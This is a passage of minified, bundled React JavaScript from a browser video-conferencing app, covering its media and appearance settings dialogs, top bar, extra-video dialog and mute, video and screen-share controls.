0,Us(_s.a,{className:ze()(p.setting,p.switchLabel),control:Us(Vs.a,{color:"secondary",checked:f.echoCancellation,onChange:function(e){a(e.target.checked),c.updateMic()}}),labelPlacement:"start",label:m.formatMessage({id:"settings.echoCancellation",defaultMessage:"Echo cancellation"})})),Us(cs.a,{className:p.nested},void 0,Us(_s.a,{className:ze()(p.setting,p.switchLabel),control:Us(Vs.a,{color:"secondary",checked:f.autoGainControl,onChange:function(e){i(e.target.checked),c.updateMic()}}),labelPlacement:"start",label:m.formatMessage({id:"settings.autoGainControl",defaultMessage:"Auto gain control"})})),Us(cs.a,{className:p.nested},void 0,Us(_s.a,{className:ze()(p.setting,p.switchLabel),control:Us(Vs.a,{color:"secondary",checked:f.noiseSuppression,onChange:function(e){l(e.target.checked),c.updateMic()}}),labelPlacement:"start",label:m.formatMessage({id:"settings.noiseSuppression",defaultMessage:"Noise suppression"})})),Us(cs.a,{className:p.nested},void 0,Us(_s.a,{className:ze()(p.setting,p.switchLabel),control:Us(Vs.a,{color:"secondary",checked:f.voiceActivatedUnmute,onChange:function(e){s(e.target.checked)}}),labelPlacement:"start",label:m.formatMessage({id:"settings.voiceActivatedUnmute",defaultMessage:"Voice activated unmute"})})),Us(cs.a,{className:p.nested},void 0,Us("div",{className:p.margin}),Us(Ge.a,{gutterBottom:!0},void 0,m.formatMessage({id:"settings.noiseThreshold",defaultMessage:"Noise threshold"}),":"),Us($s,{className:ze()(p.slider,ze.a.setting),min:-100,value:f.noiseThreshold,max:0,valueLabelDisplay:"auto",onChange:function(e,t){c._setNoiseThreshold(t)},marks:[{value:d,label:"".concat(d.toFixed(0)," dB")}]},"noise-threshold-slider")))))))}))));function ec(e,t,n,r){Ws||(Ws="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:Ws,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}var tc,nc=ec(Ts.a,{},void 0,ec(w.a,{id:"settings.selectRoomLayout",defaultMessage:"Select room layout"})),rc=ec(Ts.a,{},void 0,ec(w.a,{id:"settings.selectAspectRatio",defaultMessage:"Select video aspect ratio"})),oc={onTogglePermanentTopBar:As.v,onToggleHiddenControls:As.s,onToggleShowNotifications:As.w,onToggleButtonControlBar:As.q,onToggleDrawerOverlayed:As.r,onToggleMirrorOwnVideo:As.t,handleChangeMode:d.j,handleChangeAspectRatio:As.a},ac=Object(a.connect)((function(e){return{isMobile:"mobile"===e.me.browser.platform,room:e.room,settings:e.settings}}),oc,null,{areStatesEqual:function(e,t){return t.me.browser===e.me.browser&&t.room===e.room&&t.settings===e.settings}})(Object(s.a)((function(e){return{setting:{padding:e.spacing(2)},formControl:{display:"flex"},switchLabel:{justifyContent:"space-between",flex:"auto",display:"flex",padding:e.spacing(1),marginRight:0}}}))((function(e){var t=e.isMobile,n=e.room,r=e.settings,a=e.onTogglePermanentTopBar,i=e.onToggleHiddenControls,l=e.onToggleButtonControlBar,s=e.onToggleShowNotifications,c=e.onToggleDrawerOverlayed,u=e.onToggleMirrorOwnVideo,d=e.handleChangeMode,f=e.handleChangeAspectRatio,p=e.classes,m=Object(xe.a)(),h=[{value:"democratic",label:m.formatMessage({id:"label.democratic",defaultMessage:"Democratic view"})},{value:"filmstrip",label:m.formatMessage({id:"label.filmstrip",defaultMessage:"Filmstrip view"})},{value:"spotlight",label:m.formatMessage({id:"label.spotlight",defaultMessage:"Spotlight view"})}],v=window.config.aspectRatios||[{value:1.333,label:"4 : 3"},{value:1.777,label:"16 : 9"}];return ec(o.a.Fragment,{},void 0,ec(js.a,{className:p.setting},void 0,ec(Ns.a,{value:n.mode||"",onChange:function(e){e.target.value&&d(e.target.value)},name:m.formatMessage({id:"settings.layout",defaultMessage:"Room layout"}),autoWidth:!0,className:p.selectEmpty},void 0,h.map((function(e,t){return ec(Es.a,{value:e.value},t,e.label)}))),nc),ec(js.a,{className:p.setting},void 0,ec(Ns.a,{value:r.aspectRatio||"",onChange:function(e){e.target.value&&f(e.target.value)},name:m.formatMessage({id:"settings.aspectRatio",defaultMessage:"Video aspect ratio"}),autoWidth:!0,className:p.selectEmpty},void 0,v.map((function(e,t){return ec(Es.a,{value:e.value},t,e.label)}))),rc),ec(_s.a,{className:ze()(p.setting,p.switchLabel),control:ec(Vs.a,{checked:r.mirrorOwnVideo,onChange:u,value:"mirrorOwnVideo"}),labelPlacement:"start",label:m.formatMessage({id:"settings.mirrorOwnVideo",defaultMessage:"Mirror view of own video"})}),ec(_s.a,{className:ze()(p.setting,p.switchLabel),control:ec(Vs.a,{checked:r.permanentTopBar,onChange:a,value:"permanentTopBar"}),labelPlacement:"start",label:m.formatMessage({id:"settings.permanentTopBar",defaultMessage:"Permanent top bar"})}),ec(_s.a,{className:ze()(p.setting,p.switchLabel),control:ec(Vs.a,{checked:r.hiddenControls,onChange:i,value:"hiddenControls"}),labelPlacement:"start",label:m.formatMessage({id:"settings.hiddenControls",defaultMessage:"Hidden media controls"})}),ec(_s.a,{className:ze()(p.setting,p.switchLabel),control:ec(Vs.a,{checked:r.buttonControlBar,onChange:l,value:"buttonControlBar"}),labelPlacement:"start",label:m.formatMessage({id:"settings.buttonControlBar",defaultMessage:"Separate media controls"})}),!t&&ec(_s.a,{className:ze()(p.setting,p.switchLabel),control:ec(Vs.a,{checked:r.drawerOverlayed,onChange:c,value:"drawerOverlayed"}),labelPlacement:"start",label:m.formatMessage({id:"settings.drawerOverlayed",defaultMessage:"Side drawer over content"})}),ec(_s.a,{className:ze()(p.setting,p.switchLabel),control:ec(Vs.a,{checked:r.showNotifications,onChange:s,value:"showNotifications"}),labelPlacement:"start",label:m.formatMessage({id:"settings.showNotifications",defaultMessage:"Show notifications"})}))})));function ic(e,t,n,r){tc||(tc="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:tc,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}var lc,sc=ic(Ts.a,{},void 0,ic(w.a,{id:"settings.lastn",defaultMessage:"Number of visible videos"})),cc={onToggleAdvancedMode:As.p,onToggleNotificationSounds:As.u},uc=Object(Ne.b)(Object(a.connect)((function(e){return{settings:e.settings}}),cc,null,{areStatesEqual:function(e,t){return t.settings===e.settings}})(Object(s.a)((function(e){return{setting:{padding:e.spacing(2)},formControl:{display:"flex"},switchLabel:{justifyContent:"space-between",flex:"auto",display:"flex",padding:e.spacing(1),marginRight:0}}}))((function(e){var t=e.roomClient,n=e.settings,r=e.onToggleAdvancedMode,a=e.onToggleNotificationSounds,i=e.classes,l=Object(xe.a)();return ic(o.a.Fragment,{},void 0,ic(_s.a,{className:ze()(i.setting,i.switchLabel),control:ic(Vs.a,{checked:n.advancedMode,onChange:r,value:"advancedMode"}),labelPlacement:"start",label:l.formatMessage({id:"settings.advancedMode",defaultMessage:"Advanced mode"})}),ic(_s.a,{className:ze()(i.setting,i.switchLabel),control:ic(Vs.a,{checked:n.notificationSounds,onChange:a,value:"notificationSounds"}),labelPlacement:"start",label:l.formatMessage({id:"settings.notificationSounds",defaultMessage:"Notification sounds"})}),!window.config.lockLastN&&ic("form",{className:i.setting,autoComplete:"off"},void 0,ic(js.a,{className:i.formControl},void 0,ic(Ns.a,{value:n.lastN||"",onChange:function(e){e.target.value&&t.changeMaxSpotlights(e.target.value)},name:"Last N",autoWidth:!0,className:i.selectEmpty},void 0,Array.from({length:window.config.maxLastN||10},(function(e,t){return t+1})).map((function(e){return ic(Es.a,{value:e},e,e)}))),sc)))}))));function dc(e,t,n,r){lc||(lc="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:lc,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}function fc(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var pc,mc=["media","appearence","advanced"],hc=dc(rs.a,{id:"form-dialog-title"},void 0,dc(w.a,{id:"settings.settings",defaultMessage:"Settings"})),vc=dc(Zs,{}),gc=dc(ac,{}),bc=dc(uc,{}),yc=dc(w.a,{id:"label.close",defaultMessage:"Close"}),wc={handleCloseSettings:d.A,setSettingsTab:d.B},Sc=Object(a.connect)((function(e){return{currentSettingsTab:e.room.currentSettingsTab,settingsOpen:e.room.settingsOpen}}),wc,null,{areStatesEqual:function(e,t){return t.room.currentSettingsTab===e.room.currentSettingsTab&&t.room.settingsOpen===e.room.settingsOpen}})(Object(s.a)((function(e){var t;return{root:{},dialogPaper:(t={width:"30vw"},fc(t,e.breakpoints.down("lg"),{width:"40vw"}),fc(t,e.breakpoints.down("md"),{width:"50vw"}),fc(t,e.breakpoints.down("sm"),{width:"70vw"}),fc(t,e.breakpoints.down("xs"),{width:"90vw"}),t),tabsHeader:{flexGrow:1}}}))((function(e){var t=e.currentSettingsTab,n=e.settingsOpen,r=e.handleCloseSettings,o=e.setSettingsTab,a=e.classes,i=Object(xe.a)();return dc(ns.a,{className:a.root,open:n,onClose:function(){return r(!1)},classes:{paper:a.dialogPaper}},void 0,hc,dc(Ee.a,{className:a.tabsHeader,value:mc.indexOf(t),onChange:function(e,t){return o(mc[t])},indicatorColor:"primary",textColor:"primary",variant:"fullWidth"},void 0,dc(Te.a,{label:i.formatMessage({id:"label.media",defaultMessage:"Media"})}),dc(Te.a,{label:i.formatMessage({id:"label.appearance",defaultMessage:"Appearence"})}),dc(Te.a,{label:i.formatMessage({id:"label.advanced",defaultMessage:"Advanced"})})),"media"===t&&vc,"appearence"===t&&gc,"advanced"===t&&bc,dc(os.a,{},void 0,dc(Re.a,{onClick:function(){return r(!1)},color:"primary"},void 0,yc)))}))),Oc=n("17eb857c88637893cdde"),Mc=n("0b0decaa36a89b8a4558"),Cc=n("ea78a4d6077b4ce99010"),kc=n.n(Cc),Pc=n("0c1f845924d0a380f5ed"),xc=n.n(Pc),Ac=n("81f79d54b8b89b0884cc"),Ec=n.n(Ac),Tc=n("04323db87621e60c823e"),jc=n.n(Tc);function _c(e,t,n,r){pc||(pc="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:pc,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}function Nc(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,a=[],i=!0,l=!1;try{for(n=n.call(e);!(i=(r=n.next()).done)&&(a.push(r.value),!t||a.length!==t);i=!0);}catch(e){l=!0,o=e}finally{try{i||null==n.return||n.return()}finally{if(l)throw o}}return a}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return Ic(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Ic(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Ic(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function Rc(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var Lc,Dc=Object(s.a)((function(e){return{badge:{backgroundColor:e.palette.secondary.main,"&::after":{position:"absolute",width:"100%",height:"100%",borderRadius:"50%",animation:"$ripple 1.2s infinite ease-in-out",border:"3px solid ".concat(e.palette.secondary.main),content:'""'}},"@keyframes ripple":{"0%":{transform:"scale(.8)",opacity:1},"100%":{transform:"scale(2.4)",opacity:0}}}}))(je.a),Fc=_c(kc.a,{}),Bc=_c(kl.a,{}),Vc=_c(fa.a,{}),Uc=_c(Ec.a,{}),Hc=_c(jc.a,{}),zc=_c(w.a,{id:"tooltip.logout",defaultMessage:"Log out"}),Wc=_c(w.a,{id:"tooltip.login",defaultMessage:"Log in"}),$c=_c(kl.a,{}),qc=_c(fa.a,{}),Yc=_c(w.a,{id:"tooltip.enterFullscreen",defaultMessage:"Enter fullscreen"}),Gc=Object(Ne.b)(Object(a.connect)((function(){var e=Pe(Ie.a.EXTRA_VIDEO),t=Pe(Ie.a.CHANGE_ROOM_LOCK),n=Pe(Ie.a.PROMOTE_PEER);return function(r){return{room:r.room,isMobile:"mobile"===r.me.browser.platform,peersLength:Se(r),lobbyPeers:ae(r),permanentTopBar:r.settings.permanentTopBar,drawerOverlayed:r.settings.drawerOverlayed,toolAreaOpen:r.toolarea.toolAreaOpen,loggedIn:r.me.loggedIn,loginEnabled:r.me.loginEnabled,myPicture:r.me.picture,unread:r.toolarea.unreadMessages+r.toolarea.unreadFiles+Oe(r),canProduceExtraVideo:e(r),canLock:t(r),canPromote:n(r)}}}),(function(e){return{setToolbarsVisible:function(t){e(d.G(t))},setSettingsOpen:function(t){e(d.A(t))},setExtraVideoOpen:function(t){e(d.k(t))},setHelpOpen:function(t){e(d.l(t))},setAboutOpen:function(t){e(d.d(t))},setLockDialogOpen:function(t){e(d.p(t))},toggleToolArea:function(){e({type:"TOGGLE_TOOL_AREA"})},openUsersTab:function(){e({type:"OPEN_TOOL_AREA"}),e(f("users"))}}}),null,{areStatesEqual:function(e,t){return t.room===e.room&&t.peers===e.peers&&t.lobbyPeers===e.lobbyPeers&&t.settings.permanentTopBar===e.settings.permanentTopBar&&t.settings.drawerOverlayed===e.settings.drawerOverlayed&&t.me.loggedIn===e.me.loggedIn&&t.me.browser===e.me.browser&&t.me.loginEnabled===e.me.loginEnabled&&t.me.picture===e.me.picture&&t.me.roles===e.me.roles&&t.toolarea.unreadMessages===e.toolarea.unreadMessages&&t.toolarea.unreadFiles===e.toolarea.unreadFiles&&t.toolarea.toolAreaOpen===e.toolarea.toolAreaOpen}})(Object(s.a)((function(e){var t;return{persistentDrawerOpen:(t={width:"calc(100% - 30vw)",marginLeft:"30vw"},Rc(t,e.breakpoints.down("lg"),{width:"calc(100% - 40vw)",marginLeft:"40vw"}),Rc(t,e.breakpoints.down("md"),{width:"calc(100% - 50vw)",marginLeft:"50vw"}),Rc(t,e.breakpoints.down("sm"),{width:"calc(100% - 70vw)",marginLeft:"70vw"}),Rc(t,e.breakpoints.down("xs"),{width:"calc(100% - 90vw)",marginLeft:"90vw"}),t),menuButton:{margin:0,padding:0},logo:Rc({display:"none",marginLeft:20},e.breakpoints.up("sm"),{display:"block"}),divider:{marginLeft:e.spacing(3)},show:{opacity:1,transition:"opacity .5s"},hide:{opacity:0,transition:"opacity .5s"},grow:{flexGrow:1},title:Rc({display:"none",marginLeft:20},e.breakpoints.up("sm"),{display:"block"}),sectionDesktop:Rc({display:"none"},e.breakpoints.up("md"),{display:"flex"}),sectionMobile:Rc({display:"flex"},e.breakpoints.up("md"),{display:"none"}),actionButton:{margin:e.spacing(1,0),padding:e.spacing(0,1)},disabledButton:{margin:e.spacing(1,0)},green:{color:"rgba(0, 153, 0, 1)"},moreAction:{margin:e.spacing(.5,0,.5,1.5)}}}),{withTheme:!0})((function(e){var t=Object(xe.a)(),n=Nc(Object(r.useState)(null),2),a=n[0],i=n[1],l=Nc(Object(r.useState)(null),2),s=l[0],c=l[1],u=Nc(Object(r.useState)(null),2),d=(u[0],u[1],function(){c(null),i(null)}),f=e.roomClient,p=e.room,m=(e.peersLength,e.lobbyPeers),h=e.permanentTopBar,v=e.drawerOverlayed,g=e.toolAreaOpen,b=e.isMobile,y=e.myPicture,w=e.loggedIn,S=e.loginEnabled,O=e.fullscreenEnabled,M=e.fullscreen,C=e.onFullscreen,k=(e.setSettingsOpen,e.setExtraVideoOpen,e.setHelpOpen,e.setAboutOpen,e.setLockDialogOpen),P=e.toggleToolArea,x=(e.openUsersTab,e.unread),A=(e.canProduceExtraVideo,e.canLock,e.canPromote),E=e.classes,T=(Boolean(s),Boolean(a)),j=(p.locked?t.formatMessage({id:"tooltip.unLockRoom",defaultMessage:"Unlock room"}):t.formatMessage({id:"tooltip.lockRoom",defaultMessage:"Lock room"}),M?t.formatMessage({id:"tooltip.leaveFullscreen",defaultMessage:"Leave fullscreen"}):t.formatMessage({id:"tooltip.enterFullscreen",defaultMessage:"Enter fullscreen"})),_=w?t.formatMessage({id:"tooltip.logout",defaultMessage:"Log out"}):t.formatMessage({id:"tooltip.login",defaultMessage:"Log in"});return _c(o.a.Fragment,{},void 0,_c(Ae.a,{position:"static",className:ze()(p.toolbarsVisible||h?E.show:E.hide,b||v||!g?null:E.persistentDrawerOpen)},void 0,_c(Oc.a,{},void 0,_c(Dc,{color:"secondary",badgeContent:x,onClick:function(){return P()}},void 0,_c(ft.a,{color:"inherit","aria-label":t.formatMessage({id:"label.openDrawer",defaultMessage:"Open drawer"}),className:E.menuButton},void 0,Fc)),window.config.logo&&_c("img",{alt:"Logo",className:E.logo,src:window.config.logo}),_c(Ge.a,{className:E.title,variant:"h6",color:"inherit",noWrap:!0},void 0,window.config.title?window.config.title:"edusewa"),_c("div",{className:E.grow}),_c("div",{className:E.sectionDesktop},void 0,O&&_c(ir.a,{title:j},void 0,_c(ft.a,{"aria-label":t.formatMessage({id:"tooltip.enterFullscreen",defaultMessage:"Enter fullscreen"}),className:E.actionButton,color:"inherit",onClick:C},void 0,M?Bc:Vc)),S&&_c(ir.a,{title:_},void 0,_c(ft.a,{"aria-label":t.formatMessage({id:"tooltip.login",defaultMessage:"Log in"}),className:E.actionButton,color:"inherit",onClick:function(){w?f.logout():f.login()}},void 0,y?_c(fs.a,{src:y}):_c(xc.a,{className:w?E.green:null})))),_c("div",{className:E.sectionMobile},void 0,m.length>0&&_c(ir.a,{title:t.formatMessage({id:"tooltip.lobby",defaultMessage:"Show lobby"})},void 0,_c("span",{className:E.disabledButton},void 0,_c(ft.a,{"aria-label":t.formatMessage({id:"tooltip.lobby",defaultMessage:"Show lobby"}),className:E.actionButton,color:"inherit",disabled:!A,onClick:function(){return k(!p.lockDialogOpen)}},void 0,_c(Dc,{color:"secondary",badgeContent:m.length},void 0,Uc)))),_c(ft.a,{"aria-haspopup":!0,onClick:function(e){i(e.currentTarget)},color:"inherit"},void 0,Hc)))),_c(Mc.a,{anchorEl:a,anchorOrigin:{vertical:"bottom",horizontal:"left"},transformOrigin:{vertical:"bottom",horizontal:"right"},open:T,onClose:d,getContentAnchorEl:null},void 0,S&&_c(Es.a,{"aria-label":_,onClick:function(){d(),w?f.logout():f.login()}},void 0,y?_c(fs.a,{src:y}):_c(xc.a,{className:w?E.green:null}),_c("p",{className:E.moreAction},void 0,w?zc:Wc)),O&&_c(Es.a,{"aria-label":t.formatMessage({id:"tooltip.enterFullscreen",defaultMessage:"Enter fullscreen"}),onClick:function(){d(),C()}},void 0,M?$c:qc,_c("p",{className:E.moreAction},void 0,Yc))))})))),Kc=n("f2be97bbcd371e80d23e"),Xc=n.n(Kc);function Jc(e,t,n,r){Lc||(Lc="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:Lc,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}function Qc(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,a=[],i=!0,l=!1;try{for(n=n.call(e);!(i=(r=n.next()).done)&&(a.push(r.value),!t||a.length!==t);i=!0);}catch(e){l=!0,o=e}finally{try{i||null==n.return||n.return()}finally{if(l)throw o}}return a}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return Zc(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Zc(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Zc(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function eu(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var tu,nu=Jc(rs.a,{id:"form-dialog-title"},void 0,Jc(w.a,{id:"room.extraVideo",defaultMessage:"Extra video"})),ru=Jc(w.a,{id:"label.addVideo",defaultMessage:"Add video"}),ou={handleCloseExtraVideo:d.k},au=Object(Ne.b)(Object(a.connect)((function(e){return{webcamDevices:e.me.webcamDevices,extraVideoOpen:e.room.extraVideoOpen}}),ou,null,{areStatesEqual:function(e,t){return t.me.webcamDevices===e.me.webcamDevices&&t.room.extraVideoOpen===e.room.extraVideoOpen}})(Object(s.a)((function(e){var t;return{dialogPaper:(t={width:"30vw"},eu(t,e.breakpoints.down("lg"),{width:"40vw"}),eu(t,e.breakpoints.down("md"),{width:"50vw"}),eu(t,e.breakpoints.down("sm"),{width:"70vw"}),eu(t,e.breakpoints.down("xs"),{width:"90vw"}),t),setting:{padding:e.spacing(2)},formControl:{display:"flex"}}}))((function(e){var t,n=e.roomClient,r=e.extraVideoOpen,a=e.webcamDevices,i=e.handleCloseExtraVideo,l=e.classes,s=Object(xe.a)(),c=Qc(o.a.useState(""),2),u=c[0],d=c[1];return t=a?Object.values(a):[],Jc(ns.a,{open:r,onClose:function(){return i(!1)},classes:{paper:l.dialogPaper}},void 0,nu,Jc("form",{className:l.setting,autoComplete:"off"},void 0,Jc(js.a,{className:l.formControl},void 0,Jc(Ns.a,{value:u,displayEmpty:!0,name:s.formatMessage({id:"settings.camera",defaultMessage:"Camera"}),autoWidth:!0,className:l.selectEmpty,disabled:0===t.length,onChange:function(e){d(e.target.value)}},void 0,t.map((function(e,t){return Jc(Es.a,{value:e.deviceId},t,e.label)}))),Jc(Ts.a,{},void 0,t.length>0?s.formatMessage({id:"settings.selectCamera",defaultMessage:"Select video device"}):s.formatMessage({id:"settings.cantSelectCamera",defaultMessage:"Unable to select video device"})))),Jc(os.a,{},void 0,Jc(Re.a,{onClick:function(){return n.addExtraVideo(u)},color:"primary"},void 0,ru)))})))),iu=n("fbac3a6d96e43952d30f"),lu=n("8104c5d27dee848eae27"),su=n.n(lu),cu=n("4f2c331fbef0a6b53010"),uu=n.n(cu),du=n("e62402927146958f4654"),fu=n.n(du);function pu(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function mu(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?pu(Object(n),!0).forEach((function(t){bu(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):pu(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function hu(e,t,n,r){tu||(tu="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:tu,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}function vu(e,t,n,r,o,a,i){try{var l=e[a](i),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function gu(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var a=e.apply(t,n);function i(e){vu(a,r,o,i,l,"next",e)}function l(e){vu(a,r,o,i,l,"throw",e)}i(void 0)}))}}function bu(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var yu,wu=hu(Ba.a,{}),Su=hu(Ua.a,{}),Ou=hu(za.a,{}),Mu=hu($a.a,{}),Cu=hu(fr.a,{}),ku=hu(Ya.a,{}),Pu=hu(fu.a,{}),xu=hu(uu.a,{}),Au=hu(su.a,{}),Eu=Object(Ne.b)(Object(a.connect)((function(e){return mu(mu({toolbarsVisible:e.room.toolbarsVisible,hiddenControls:e.settings.hiddenControls,drawerOverlayed:e.settings.drawerOverlayed,toolAreaOpen:e.toolarea.toolAreaOpen,peersLength:Se(e),lobbyPeers:ae(e)},Ce(e)),{},{me:e.me})}),(function(e){return{openUsersTab:function(){e({type:"OPEN_TOOL_AREA"}),e(f("users"))},openChatTab:function(){e({type:"OPEN_TOOL_AREA"}),e(f("chat"))}}}),null,{areStatesEqual:function(e,t){return Math.round(t.peerVolumes[t.me.id])===Math.round(e.peerVolumes[t.me.id])&&t.room.toolbarsVisible===e.room.toolbarsVisible&&t.settings.hiddenControls===e.settings.hiddenControls&&t.settings.drawerOverlayed===e.settings.drawerOverlayed&&t.toolarea.toolAreaOpen===e.toolarea.toolAreaOpen&&t.producers===e.producers&&t.me===e.me}})(Object(s.a)((function(e){var t,n;return{root:(t={position:"fixed",display:"flex",zIndex:30,flexDirection:"row",bottom:e.spacing(1),left:"50%",transform:"translate(-50%, -0%)"},bu(t,e.breakpoints.up("md"),{}),bu(t,e.breakpoints.down("sm"),{flexDirection:"row",bottom:e.spacing(1),left:"50%",transform:"translate(-50%, -0%)"}),t),fab:{margin:0},show:{opacity:1,transition:"opacity .5s"},hide:{opacity:.5,transition:"opacity .5s"},move:(n={left:"30vw",top:"50%",transform:"translate(0%, -50%)",flexDirection:"column",justifyContent:"center",alignItems:"center"},bu(n,e.breakpoints.down("lg"),{left:"40vw"}),bu(n,e.breakpoints.down("md"),{left:"50vw"}),bu(n,e.breakpoints.down("sm"),{left:"70vw"}),bu(n,e.breakpoints.down("xs"),{left:"90vw"}),n)}}),{withTheme:!0})((function(e){var t,n,r,o,a,i,l=Object(xe.a)(),s=e.roomClient,c=e.peersLength,u=(e.lobbyPeers,e.toolbarsVisible),d=e.hiddenControls,f=e.drawerOverlayed,p=e.toolAreaOpen,m=e.me,h=e.micProducer,v=e.webcamProducer,g=e.screenProducer,b=e.classes,y=e.theme,w=e.openUsersTab,S=e.openChatTab;m.canSendMic?h?h.locallyPaused||h.remotelyPaused?(t="muted",n=l.formatMessage({id:"device.unMuteAudio",defaultMessage:"Unmute audio"})):(t="on",n=l.formatMessage({id:"device.muteAudio",defaultMessage:"Mute audio"})):(t="off",n=l.formatMessage({id:"device.activateAudio",defaultMessage:"Activate audio"})):(t="unsupported",n=l.formatMessage({id:"device.audioUnsupported",defaultMessage:"Audio unsupported"})),m.canSendWebcam?v?(r="on",o=l.formatMessage({id:"device.stopVideo",defaultMessage:"Stop video"})):(r="off",o=l.formatMessage({id:"device.startVideo",defaultMessage:"Start video"})):(r="unsupported",o=l.formatMessage({id:"device.videoUnsupported",defaultMessage:"Video unsupported"})),m.canShareScreen?g?(a="on",i=l.formatMessage({id:"device.stopScreenSharing",defaultMessage:"Stop screen sharing"})):(a="off",i=l.formatMessage({id:"device.startScreenSharing",defaultMessage:"Start screen sharing"})):(a="unsupported",i=l.formatMessage({id:"device.screenSharingUnsupported",defaultMessage:"Screen sharing not supported"}));var O=Object(go.a)(y.breakpoints.down("sm"));function M(){return(M=gu(regeneratorRuntime.mark((function e(){return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:confirm("Close Window?")&&(s.close(),close());case 1:case"end":return e.stop()}}),e)})))).apply(this,arguments)}return hu(iu.a,{variant:"contained",color:"grey",className:ze()(b.root,d?u?b.show:b.hide:b.show,p&&"mobile"!==m.browser.platform&&!f?b.move:null)},void 0,hu(ir.a,{title:n},void 0,hu(Re.a,{"aria-label":l.formatMessage({id:"device.muteAudio",defaultMessage:"Mute audio"}),className:b.fab,disabled:!m.canSendMic||m.audioInProgress,color:"on"===t?"default":"secondary",size:O?"large":"medium",onClick:function(){"off"===t?s.updateMic({start:!0}):"on"===t?s.muteMic():s.unmuteMic()}},void 0,"on"===t?wu:Su)),m.isPresenter&&hu(ir.a,{title:o},void 0,hu(Re.a,{"aria-label":l.formatMessage({id:"device.startVideo",defaultMessage:"Start 